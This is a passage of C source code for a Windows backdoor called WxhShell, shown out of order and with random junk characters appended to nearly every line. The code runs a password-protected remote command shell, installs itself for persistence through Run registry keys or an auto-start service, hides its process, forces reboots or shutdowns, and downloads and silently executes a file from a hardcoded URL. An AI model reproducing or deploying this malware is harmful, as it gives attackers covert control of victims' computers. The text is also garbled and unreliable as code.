    ExitThread(0); GYBM]mW^ W  
    } {YkW5zC(L  
    break; wi!Ml4Sb  
    } pl%ag~i5  
  // 关机 >o@WT kF]  
  case 'd': { h' 16"j>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1:-$mt_*  
    if(Boot(SHUTDOWN)) '+$2<Ys  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h5~tsd}OU  
    else { 7%X$6N-X  
    closesocket(wsh);  #/n\C  
    ExitThread(0); |XQ!xFB  
    } '1d-N[  
    break; P/27+5(|  
    } 8g<3J-7Mm  
  // 获取shell ^ H'|iju  
  case 's': { $Uzc  
    CmdShell(wsh); ex-`+cF  
    closesocket(wsh); b*$^8%  
    ExitThread(0); }hGbF"clqg  
    break; 419t"1b  
  } L%!jj7,9-  
  // 退出 >8ePx,+!  
  case 'x': { KNV$9&Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `A #r6+  
    CloseIt(wsh); D.RHvo~6  
    break; e%8K A#DX  
    } 3o6N&bQ b  
  // 离开 /0zk&g  
  case 'q': { ^K3{6}]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q?vGg{>  
    closesocket(wsh); ifuVVFov  
    WSACleanup(); 8Y:bvs.j  
    exit(1); C6GYhG]  
    break; !x>P]j7A}Y  
        }  +&|WC2#  
  } zF{5!b  
  } srUpG&Bcx  
<jV_J+#  
  // 提示信息 KnlVZn[3t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /<GygRs  
} qUCiB}  
  } GeE|&popO  
k*M1m'1  
  return; QQqWJq~  
} n *U1 M  
Jyvc(~x  
// shell模块句柄 y>|7'M*+  
int CmdShell(SOCKET sock) &}rh+z  
{ r3#H]c  
STARTUPINFO si; VaH#~!  
ZeroMemory(&si,sizeof(si)); UeE&rA]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,rQznE1e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \ ddbqg?`  
PROCESS_INFORMATION ProcessInfo; *&LVn)@[`  
char cmdline[]="cmd"; Up`zVN59.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]U]{5AA6  
  return 0; gg5`\}  
} i4AmNRs  
C5F}*]E[y  
// 自身启动模式 NFsMc0{  
int StartFromService(void) %A?Ym33  
{ SZE X;M  
typedef struct koe&7\ _@  
{ x2;92I{5C,  
  DWORD ExitStatus; RoP z?,u  
  DWORD PebBaseAddress; 6Vi #O^>  
  DWORD AffinityMask; iugTXZ(  
  DWORD BasePriority; Z?X ^7<  
  ULONG UniqueProcessId; -]HO8}-Rjs  
  ULONG InheritedFromUniqueProcessId; !<@Zf4m  
}   PROCESS_BASIC_INFORMATION; 6 :J @  
xj(&EGY:  
PROCNTQSIP NtQueryInformationProcess; \#  
?$9C[Kw`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v@[MX- ,8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z{ &PKS  
^BW V6  
  HANDLE             hProcess; s\_ ,aI  
  PROCESS_BASIC_INFORMATION pbi; @r'8<6hVO  
gZ:)l@ Wu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P5kkaLzG  
  if(NULL == hInst ) return 0; db4Ol=  
L Ktr>u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pz~AsF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )N<>L/R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g;Bq#/w  
#N wlKZ-  
  if (!NtQueryInformationProcess) return 0; 9w(QM-u  
Rax}r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3%>"|Ye}A  
  if(!hProcess) return 0; ^<7)w2ns  
{6*h';~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 's+ Fd~ '  
Fod2KS;g  
  CloseHandle(hProcess); Jy{A1i@4~s  
>(p "!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~%m-}Sxc  
if(hProcess==NULL) return 0; 2 ES .)pQ  
- TSn_XE  
HMODULE hMod; >cQ*qXI0  
char procName[255]; qbpvTTF  
unsigned long cbNeeded; O]90 F  
g.Z>9(>;Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~\(U&2t  
r)q6^|~47  
  CloseHandle(hProcess); j'I$F1>Te  
K'7i$bl%  
if(strstr(procName,"services")) return 1; // 以服务启动 3L/>=I{5  
aa8WRf  
  return 0; // 注册表启动 /&Khk #  
} 8tY],  
rer=o S  
// 主模块 77.5 _  
int StartWxhshell(LPSTR lpCmdLine) FX4](oM  
{ RV.*_FG  
  SOCKET wsl; 52,pCyU  
BOOL val=TRUE; wqK>=Ri_  
  int port=0; [-=PK\ B  
  struct sockaddr_in door; Rq<T2}K  
eZk [6H  
  if(wscfg.ws_autoins) Install(); 7?dB&m6W  
dq[j.Nmq  
port=atoi(lpCmdLine); JY~s-jxa  
/)e&4.6  
if(port<=0) port=wscfg.ws_port; x?VX,9;j  
&S]\)&Yt  
  WSADATA data; ;a[56W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2(Vm0E  
fYl$$.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A!x_R {,yH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N yFa2Ihd  
  door.sin_family = AF_INET; Jr==AfxyT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ehoDWO]S  
  door.sin_port = htons(port); TY],H=  
Nj@k|_1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (G*--+Gn  
closesocket(wsl); gQCkoQi:j  
return 1; ,g;~:  
} <U (gjX  
+MIDq{B  
  if(listen(wsl,2) == INVALID_SOCKET) { 3W5|Y@0  
closesocket(wsl); 0bVtku K;G  
return 1; a{mtG{Wc  
} VX2 KE@  
  Wxhshell(wsl); 1.4]T, `  
  WSACleanup(); b,cA mZ  
^8a,gA8.  
return 0; ck){N?y  
?sfA/9"  
} SL? ! RQ  
D: NBb!   
// 以NT服务方式启动 MLG%+@\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "[q/2vC  
{ cAogz/<S  
DWORD   status = 0; z AacX@  
  DWORD   specificError = 0xfffffff; DyD#4J)E  
E;fYL]j/oZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Hl8-1M$&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !vHnMY~AG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <=l!~~%  
  serviceStatus.dwWin32ExitCode     = 0; qH: ` O%,  
  serviceStatus.dwServiceSpecificExitCode = 0; snK$? 9vh  
  serviceStatus.dwCheckPoint       = 0; Zm >Q-7r9  
  serviceStatus.dwWaitHint       = 0; 4/&Us  
><mZOTn e;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TxoMCN?7c  
  if (hServiceStatusHandle==0) return; be|k"s|6)  
nw+L _b  
status = GetLastError(); $6L gaz  
  if (status!=NO_ERROR) &.y:QVR,!  
{ 47ppyh6@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0m(/hK  
    serviceStatus.dwCheckPoint       = 0; rUvqAfE&+  
    serviceStatus.dwWaitHint       = 0; Xp[[ xV|  
    serviceStatus.dwWin32ExitCode     = status; eu@-v"=w  
    serviceStatus.dwServiceSpecificExitCode = specificError; O5CIK}A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d+[yW7%J  
    return; Cg?D<l4  
  } #'^!@+)  
tV<}!~0,*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KwndY,QD  
  serviceStatus.dwCheckPoint       = 0; gYn1-/Z>I  
  serviceStatus.dwWaitHint       = 0; Ol`/r@s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N6S0(%  
} 2asA]sY  
Ok/~E  
// 处理NT服务事件,比如:启动、停止 3ZGU?Z;R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dQVV0)z  
{ <*3{Twa1T  
switch(fdwControl) ;nyV)+t+a  
{ d kHcG&)  
case SERVICE_CONTROL_STOP: 0?qXDO&~  
  serviceStatus.dwWin32ExitCode = 0; gbL99MZ@~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #o SQWC=T  
  serviceStatus.dwCheckPoint   = 0; zm-j FY?  
  serviceStatus.dwWaitHint     = 0; 0(VH8@h`O  
  { BC ]^BKP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A,ttn5Sh?  
  } ^0_*AwIcN  
  return; #O6SEK|Z  
case SERVICE_CONTROL_PAUSE: =;-/( C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `r e]Q0IO  
  break; @vh3S+=M  
case SERVICE_CONTROL_CONTINUE: \$}xt`6p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Oh9wBV  
  break; V@&zn8?  
case SERVICE_CONTROL_INTERROGATE: ^n!{ vHz  
  break; iJv4%|9  
}; b#(SDNo6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [yM{A<\L  
} 'g$~ij ;x  
Q:& ,8h[  
// 标准应用程序主函数 {9vvj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [X ]\^   
{ XAR~d6iZ  
\:mx Ri  
// 获取操作系统版本 Po'yr]pr  
OsIsNt=GetOsVer(); r483"k(7  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  LKieOgX  
8W)3rD>  
  // 从命令行安装 }0 0mJ]H(  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7Te`#"  
_6Wz1.]n  
  // 下载执行文件 \j !JRD+j  
if(wscfg.ws_downexe) { %Rj:r!XB:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SL" ;\[uI  
  WinExec(wscfg.ws_filenam,SW_HIDE); -|B?pR  
} - l8n0P1+  
^)<>5.%1''  
if(!OsIsNt) { &&4av*\I  
// 如果时win9x,隐藏进程并且设置为注册表启动 w~y+Pv@   
HideProc(); rVowHP  
StartWxhshell(lpCmdLine); zDeh#  
} x tg3~/H  
else +8Yt91   
  if(StartFromService()) :P #   
  // 以服务方式启动 !SEHDRp  
  StartServiceCtrlDispatcher(DispatchTable); $'btfo4H  
else }@=m[Zx#  
  // 普通方式启动 G,9osTt/  
  StartWxhshell(lpCmdLine); 4SCb9| /Q  
yS p]+  
return 0; 5<w"iqZ\?N  
} uNZJNrV%  
<Z{\3X^  
]IMBRZQqb  
u`dWU}m)  
=========================================== y K)7%j!  
pj;cL ]L  
7GY[l3arxv  
EQ1wyKZS2g  
GQhzQM1HS  
]^$&Ejpe#  
" =;!C7VS  
V9z/yNo  
#include <stdio.h> mV^+`GWvo  
#include <string.h> ^$f} s,09  
#include <windows.h> a9 7A{7I&  
#include <winsock2.h> /f~ V(DK  
#include <winsvc.h> ,+<NP}Yg#G  
#include <urlmon.h> ^eQK.B(  
*L7 ZyERs  
#pragma comment (lib, "Ws2_32.lib") Ar7vEa81  
#pragma comment (lib, "urlmon.lib") L^3~gZ  
L3iY Z>]  
#define MAX_USER   100 // 最大客户端连接数 "^VKs_U8o  
#define BUF_SOCK   200 // sock buffer h~{TCK+I  
#define KEY_BUFF   255 // 输入 buffer (.4mX t  
4]0|fi3}>  
#define REBOOT     0   // 重启 5jD2%"YUV  
#define SHUTDOWN   1   // 关机 9$8B)x  
fQRGz\r*k  
#define DEF_PORT   5000 // 监听端口 XSC._)ztEE  
qFp }+s  
#define REG_LEN     16   // 注册表键长度 (|L0s)  
#define SVC_LEN     80   // NT服务名长度 tNg}: a|J  
]u  4  
// 从dll定义API [R*UPa  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -8;U1^#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "f/lm 2<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ic/D!J{Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d]6.$"\" p  
ax0RtqtR&  
// wxhshell配置信息 :pj#t$:!  
struct WSCFG { uq~$HXdc  
  int ws_port;         // 监听端口 Cp=DdmR  
  char ws_passstr[REG_LEN]; // 口令 {;1Mud  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4<fKB&  
  char ws_regname[REG_LEN]; // 注册表键名 LnP={s  
  char ws_svcname[REG_LEN]; // 服务名 7.-Q9xv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yM>:,TS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,<s'/8Ik  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [t/7hx"2t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ae R3wua  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ce-5XqzY@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |1C=Ow*"  
VCfa<hn  
}; U|VF zpJ  
rdZk2\<  
// default Wxhshell configuration B'"(qzE-kM  
struct WSCFG wscfg={DEF_PORT, T#%r\f,l0  
    "xuhuanlingzhe", Y ]&D;w  
    1, swV/M i>  
    "Wxhshell", {^zieP!  
    "Wxhshell", Y5 e6|b|  
            "WxhShell Service", p'z fo!  
    "Wrsky Windows CmdShell Service", rKg~H=4x2  
    "Please Input Your Password: ", .si!`?K%[  
  1, 0J7)UqMf.  
  "http://www.wrsky.com/wxhshell.exe", ,pL%,>R5  
  "Wxhshell.exe" > 5-z"f  
    }; G6wBZ?)k  
!j[Oy r|  
// 消息定义模块 h}r64<Y2{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?4v&TB@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,?g}->ZB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :E'uV" j%  
char *msg_ws_ext="\n\rExit."; N GP}Z4  
char *msg_ws_end="\n\rQuit."; 9nF;$ HB  
char *msg_ws_boot="\n\rReboot..."; W@U<GF1  
char *msg_ws_poff="\n\rShutdown..."; w:%3]2c  
char *msg_ws_down="\n\rSave to "; gz8>uGx&V!  
QII-9 RxX"  
char *msg_ws_err="\n\rErr!"; +Qy0K5Ee  
char *msg_ws_ok="\n\rOK!"; 0Snl_@s  
W(U:D?e  
char ExeFile[MAX_PATH]; S_?{ <{  
int nUser = 0; pv);LjF  
HANDLE handles[MAX_USER]; {"hX_t  
int OsIsNt; t;X  !+  
#rnO=N8  
SERVICE_STATUS       serviceStatus; gI<e=|J6w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -DD2   
/NRdBN  
// 函数声明 kU^*hd ]  
int Install(void); K. [2uhB)  
int Uninstall(void); ?/"Fwjau  
int DownloadFile(char *sURL, SOCKET wsh); _Bh-*e2k  
int Boot(int flag); _"Yi>.{]  
void HideProc(void); bV c"'RQ  
int GetOsVer(void); &L6xagR7M  
int Wxhshell(SOCKET wsl); d$.t0-lC  
void TalkWithClient(void *cs); ;s{k32e  
int CmdShell(SOCKET sock); 8+'9K%'@qX  
int StartFromService(void); ^W!w~g+  
int StartWxhshell(LPSTR lpCmdLine); #mu3`,9V  
2_i/ F)W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TY,5]*86I&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }i,LP1R  
> Q[L, I  
// 数据结构和表定义 $M%<i~VXe&  
SERVICE_TABLE_ENTRY DispatchTable[] = 9w\ yWxl  
{ 2P)*Y5`KBH  
{wscfg.ws_svcname, NTServiceMain}, j$v2_q  
{NULL, NULL} $&D$Uc`U>  
}; vX|i5P0)8  
@hC,J  
// 自我安装 M.B0)  
int Install(void) '?7?"v  
{ fCg"tckE  
  char svExeFile[MAX_PATH]; 8K(3{\J[V  
  HKEY key; [!Uzw 2  
  strcpy(svExeFile,ExeFile); vb^/DMhz  
O#[+= ^  
// 如果是win9x系统,修改注册表设为自启动 G&ZpQ)  
if(!OsIsNt) { +<qmVW^X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P]V/<8o.53  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YT:])[gVV  
  RegCloseKey(key); 2Lravb3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e'%"G{(D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ['1JN UX  
  RegCloseKey(key); _19x`J3  
  return 0; < zUU`  
    } Tgxxm  
  } n`'v8 `a]  
} x-W6W  
else { Z?@1X`@  
k)l*L1Y4:  
// 如果是NT以上系统,安装为系统服务 )1de<# qM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $:&?!>H  
if (schSCManager!=0) 2@!Ou$W  
{ U9N1 )3/u  
  SC_HANDLE schService = CreateService gN"Abc  
  ( `2}H$D  
  schSCManager, s^O>PEX&<I  
  wscfg.ws_svcname, E<=h6Ha  
  wscfg.ws_svcdisp, 4DGc[  
  SERVICE_ALL_ACCESS, $~ 6Y\O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~r(/)w\  
  SERVICE_AUTO_START, (y^[k {#  
  SERVICE_ERROR_NORMAL, 2R W^Nqc9  
  svExeFile, -TL `nGF  
  NULL, @C\>P49  
  NULL, ?r< F/$/  
  NULL, ~n)gP9Hv  
  NULL, WsHC%+\'  
  NULL P?QVT;]  
  ); H~fX >6>  
  if (schService!=0) mC-'z  
  { PH,MZ"Z%  
  CloseServiceHandle(schService); N%3 G\|~Q  
  CloseServiceHandle(schSCManager); G'>?/l#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ds> V|}f[  
  strcat(svExeFile,wscfg.ws_svcname); p~X=<JM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ChVur{jR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1rhEk|pGZ  
  RegCloseKey(key); funHznRR  
  return 0; zpPzXQv]/  
    } i^Ba?r;*  
  } }Z^r<-N  
  CloseServiceHandle(schSCManager); 4[q'1N6-  
} Nd b_|  
} 3WH"NC-O<  
-wA^ao   
return 1; G5;N#^myJ  
} Os1o!w:m5  
xRTr<j0s  
// 自我卸载 ;|nC;D]  
int Uninstall(void) 4 VPJv>^  
{ Y$tgz)  
  HKEY key; =aL=SC+  
g)o?nAr  
if(!OsIsNt) { kTCWyc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hU 3z4|~+  
  RegDeleteValue(key,wscfg.ws_regname); K@0gBgN  
  RegCloseKey(key); _1<zpHp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .JkcCEe{G  
  RegDeleteValue(key,wscfg.ws_regname); PxqRb  
  RegCloseKey(key); |Wo_5|E  
  return 0; ~c;D@.e\  
  } \1^qfw  
} N.j?:  
} cwe@W PE2  
else { CO+[iJ,4C+  
 P5&mpl1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 47(/K2  
if (schSCManager!=0) hvc%6A\nm  
{ \I3={ii0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]7#@lL;'0  
  if (schService!=0) wF@mHv  
  { .bwKG`F  
  if(DeleteService(schService)!=0) { .1O  
  CloseServiceHandle(schService); |G!PG6%1  
  CloseServiceHandle(schSCManager); ?AL;m.X-@  
  return 0; Stq [[S5P  
  } jsXj9:X I  
  CloseServiceHandle(schService); 83^|a5  
  } > `uk2QdC  
  CloseServiceHandle(schSCManager); !a(#G7zA  
} wK0= I\WN9  
} n\U3f M>N  
mAI<zh&SQ  
return 1; !'ylh8}  
} Ru1I,QvCj"  
:yLSLN  
// 从指定url下载文件 )2 Omsh  
int DownloadFile(char *sURL, SOCKET wsh) ^5"2s:vP  
{ *58`}]  
  HRESULT hr; ;PBybR W  
char seps[]= "/"; Wa/&H$d\u@  
char *token; e~wuoE:M3  
char *file; =*ZQGM3w  
char myURL[MAX_PATH]; d|nJp-%V  
char myFILE[MAX_PATH]; ,g2oqq ?  
.:<-E%  
strcpy(myURL,sURL); !3E %u$-}  
  token=strtok(myURL,seps); cqr4P`Oj  
  while(token!=NULL) 9}\{0;9  
  { 4{[cXM8*j  
    file=token; |VY+!  
  token=strtok(NULL,seps);  3,7SGt r  
  } aN87^[  
!jV}sp<Xp  
GetCurrentDirectory(MAX_PATH,myFILE); RsY7F;  
strcat(myFILE, "\\"); 7DG{|%\HF  
strcat(myFILE, file); "F,d}3}  
  send(wsh,myFILE,strlen(myFILE),0); A;pVi;7  
send(wsh,"...",3,0); %J_`-\)"{~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b IS 3  
  if(hr==S_OK) ;M<jQntqS{  
return 0; p@/i e@DX  
else ("UzMr,  
return 1; rQW&$M  
-ZmccT"8  
} O{sb{kk  
G!y~Y]e  
// 系统电源模块 kQr\ktN\  
int Boot(int flag) #i#4h<R  
{ @0XqUcV  
  HANDLE hToken; [sM~B  
  TOKEN_PRIVILEGES tkp; qre.^6x  
&=seIc>x@  
  if(OsIsNt) { Bt8   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d[b(+sHp a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FwdRM)1)  
    tkp.PrivilegeCount = 1; F]#rH   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O<@S,/Q4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U[!x 0M  
if(flag==REBOOT) { UR/l M,N;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O Oa}+^-j  
  return 0; !9$xfg }  
} ypoJ4EZ(  
else { J9tQ@3{f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dy4! >zxF  
  return 0; AWp{n  
} t-xw=&!w  
  } {x $h K98  
  else { Dm,*G`Js  
if(flag==REBOOT) { l'_P]@*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Lyx \s;  
  return 0; sT.:"Pj$  
} H;QE',a9+i  
else { E(5'vr0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ol}^'7H  
  return 0; xB1Oh+@i  
} _x.!, g{  
} [OH9/ "  
6[-N})  
return 1; s^ t1T&  
} ews4qP  
Z#-:zD7_  
// win9x进程隐藏模块 DI P(  
void HideProc(void) a0vg%Z@!  
{ t@a2@dX|  
V b=Oz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g;bfi{8s_  
  if ( hKernel != NULL ) H.8f-c-4we  
  { \6UK:'5{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l8"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R7/"ye:7J  
    FreeLibrary(hKernel); f0 ;Fokt(  
  } n4albG4  
@KM !g,f  
return; {b|:q>Be8  
} MEOVw[hO  
xMk0Xf'_  
// 获取操作系统版本 <X7x  
int GetOsVer(void) 6cCC+*V{  
{ 6K/j,e>L  
  OSVERSIONINFO winfo; _uvRC+~R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {8NnRnzU  
  GetVersionEx(&winfo); DEGEr-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1-@[th  
  return 1; NJEubC?  
  else }Q7 ~tu  
  return 0; Et\z^y  
} -t92!O   
AE:IXP|c  
// 客户端句柄模块 'USol<  
int Wxhshell(SOCKET wsl) hOI| #(-  
{ R$'0<y8E*]  
  SOCKET wsh; gm**9]k^{  
  struct sockaddr_in client; oW:p6d  
  DWORD myID; I}5#!s< {&  
J#tGQO  
  while(nUser<MAX_USER) <&n\)R4C1  
{ p'lL2 n$E  
  int nSize=sizeof(client); _z:7Dj#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p[E}:kak_-  
  if(wsh==INVALID_SOCKET) return 1; -Y#YwBy;M  
[4V{~`sF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [25[c><:w"  
if(handles[nUser]==0) ?v]EXV3  
  closesocket(wsh); HPGMR4=ANS  
else 5ua`5Hb;  
  nUser++; (#Vkk]-p  
  } .OLm{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kaSy 9Y{  
%3L4&W _T  
  return 0; %P!6cyQS  
} |hsg= LX  
[.M<h^xrB  
// 关闭 socket y.$/niQ%  
void CloseIt(SOCKET wsh) efj[7K.h  
{ _7j-y 9V  
closesocket(wsh); d!+8  
nUser--; |sf&t  
ExitThread(0); OH2Xxr[bQ  
} 2s(c#$JVS  
]8)nIT^EP  
// 客户端请求句柄 5PY,}1`  
void TalkWithClient(void *cs) 0n5{Wr$  
{ jB+K)NXHL  
@dl{ .,J  
  SOCKET wsh=(SOCKET)cs; +RXKI{0Km  
  char pwd[SVC_LEN]; /%E X4 W  
  char cmd[KEY_BUFF]; s-V5\Lip,  
char chr[1]; 89*txYmx  
int i,j; RAw/Q$I  
~x:\xQti  
  while (nUser < MAX_USER) { *]<M%q!<6  
muMb pF  
if(wscfg.ws_passstr) { ZWZRG-:&H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5Jo><P a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~YQC!x  
  //ZeroMemory(pwd,KEY_BUFF); Czj]jA(0f  
      i=0; fq-zgqF<  
  while(i<SVC_LEN) { D6cqON0a.  
3lw KV  
  // 设置超时 (;RmfE'PX  
  fd_set FdRead; "bI'XaSv  
  struct timeval TimeOut; )%8 ;C]G;  
  FD_ZERO(&FdRead); jH+ddBVA  
  FD_SET(wsh,&FdRead); Up:<NHJT  
  TimeOut.tv_sec=8; zGtWyXP  
  TimeOut.tv_usec=0; pLB~{5u>;-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $a^YJY^_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xcBV,[E{  
&L&6 y()G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J$' Q3k  
  pwd=chr[0]; <m;idfn  
  if(chr[0]==0xd || chr[0]==0xa) { 4bV&U=  
  pwd=0; tOn 6  
  break; (/x%zmY;/U  
  } nE$8-*BZ_  
  i++; u4 ##*m  
    } TqzL]'NS+  
%Vf3r9 z  
  // 如果是非法用户,关闭 socket -4  ~(*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 99GzhX_  
} gXrPZ|iS  
r_m*$r~f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x+?P/Ckg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mf 7 Z5  
$ {Y? jJ  
while(1) { &NvvaqJ  
dMo456L  
  ZeroMemory(cmd,KEY_BUFF); A .]o&S}  
CC?L~/gPN  
      // 自动支持客户端 telnet标准   {s]yP_  
  j=0; ${(c `X  
  while(j<KEY_BUFF) { k!9LJ%Xh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }n!$)W*?  
  cmd[j]=chr[0]; +M@,CbqD  
  if(chr[0]==0xa || chr[0]==0xd) { "pQFIV,  
  cmd[j]=0; ]yc&ffe%  
  break; ="~yD[S  
  } teRK#: .P  
  j++; An cka  
    } u"WqI[IV  
"x;|li3;  
  // 下载文件 3aD\J_  
  if(strstr(cmd,"http://")) { 0l.\KF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XTzz/.T;Z  
  if(DownloadFile(cmd,wsh)) ^0 zWiX  
